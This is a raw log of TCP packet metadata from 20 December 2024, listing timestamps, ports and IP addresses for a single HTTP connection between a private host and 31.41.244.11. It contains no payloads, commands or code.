Dec 20, 2024 04:12:19.699712038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.699769974 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.700716019 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.700787067 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.700869083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.700908899 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.701828003 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.701893091 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.701917887 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.702007055 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.702908039 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.702974081 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.703011036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.703052044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.704037905 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.704087973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.704116106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.704885960 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.705137968 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.705249071 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.705295086 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.706231117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.706346989 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.706394911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.707479954 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.707535028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.707598925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.708437920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.708484888 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.708543062 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.708580971 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.709534883 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.709676027 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.709722042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.710583925 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.710653067 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.844813108 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.844912052 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.844990969 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.845315933 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.845375061 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.845531940 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.845578909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.845608950 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.845669031 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.846653938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.846698999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.846786022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.846828938 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.847737074 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.847780943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.847853899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.847897053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.848845959 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.848893881 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.848952055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.848994970 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.849957943 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.850004911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.850054979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.850097895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.851047993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.851093054 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.851141930 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.851185083 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.852178097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.852222919 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.852307081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.852345943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.853260040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.853306055 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.853378057 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.853421926 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.854345083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.854388952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.854418993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.854463100 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.855463028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.855506897 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.855561972 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.855607986 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.856576920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.856621027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.856656075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.856709957 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.857671976 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.857714891 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.857762098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.857803106 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.858762026 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.858810902 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.858859062 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.858901978 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.859875917 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.859927893 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.859982967 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.860028982 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.860986948 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.861030102 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.861223936 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.861283064 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.862073898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.862118959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.862180948 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.862217903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.863161087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.863205910 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.863260031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.863301039 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.864269972 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.864315987 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.864460945 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.864504099 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.865374088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.865416050 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.865478039 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.865521908 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.866476059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.866523981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.866580009 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.866622925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.867583036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.867623091 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.867707968 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.867750883 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.868686914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.868731022 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.868767977 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.868808985 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.869808912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.869851112 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.869924068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.869982958 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.870882988 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.870928049 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.870954990 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.870997906 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.871990919 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.872030973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.872102022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.872145891 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.873090029 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.873136997 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.873162031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.873199940 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.874175072 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.874216080 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.874289036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.874330044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.875282049 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.875335932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.875386000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.875427008 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.876389980 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.876430988 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.876499891 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.876540899 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.877507925 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.877549887 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.877607107 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.877649069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.878597021 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.878640890 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.878699064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.878740072 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.879714012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.879756927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.879811049 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.879853010 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.880821943 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.880844116 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.880875111 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.880887032 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.881906033 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.881947994 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.882016897 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.882057905 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.883013964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.883057117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.883100986 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.883141994 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.884097099 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.884140015 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.884200096 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.884241104 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.885214090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.885258913 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.885333061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.885374069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.886310101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.886352062 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.886379957 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.886416912 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.887413979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.887455940 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.887510061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.887550116 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.888547897 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.888655901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.888679028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.888721943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.889625072 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.889669895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.889744997 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.889786959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.890733004 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.890779018 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.890789986 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.890829086 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.891824961 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.891901970 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.891931057 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.892009974 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.892976999 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.893018961 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.893080950 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.893122911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.894037962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.894081116 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.894139051 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.894180059 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.895138025 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.895180941 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.895232916 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.895272017 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.896251917 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.896295071 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.896342039 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.896382093 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.897337914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.897381067 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.897454023 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.897495985 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.898432016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.898473024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.898550987 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.898595095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.899542093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.899588108 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.899636984 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.899677992 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.900662899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.900706053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.900734901 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.900772095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.901750088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.901793003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.901825905 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.901865005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.036981106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.037131071 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.037223101 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.037493944 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.037626982 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.037681103 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.038590908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.038737059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.038784981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.039695978 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.039740086 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.039760113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.040853024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.041013956 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.041059971 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.041176081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.041234016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.041939020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.041985035 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.042017937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.042057991 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.043021917 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.043128014 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.043173075 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.044114113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.044213057 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.044275999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.045202971 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.045312881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.045362949 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.046318054 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.046375990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.046406984 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.047418118 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.047477961 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.047527075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.048583984 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.048633099 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.048649073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.048686028 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.049618006 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.049686909 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.049741030 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.050746918 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.050863981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.050915003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.051858902 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.051875114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.051919937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.052942038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.053054094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.053100109 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.054030895 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.054084063 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.054140091 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.055125952 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.055177927 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.055188894 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.055814028 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.056219101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.056288004 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.056360960 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.056446075 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.057372093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.057424068 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.057451010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.057491064 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.061606884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.061664104 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.062083960 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.062097073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.062113047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.062128067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.062141895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.062153101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.062164068 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.062186003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.063249111 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.063407898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.063453913 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.064130068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.064296007 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.064356089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.065314054 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.065478086 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.065522909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.066520929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.066534996 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.066565990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.067569971 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.067584991 CET	80	49783	31.41.244.11	192.168.2.4
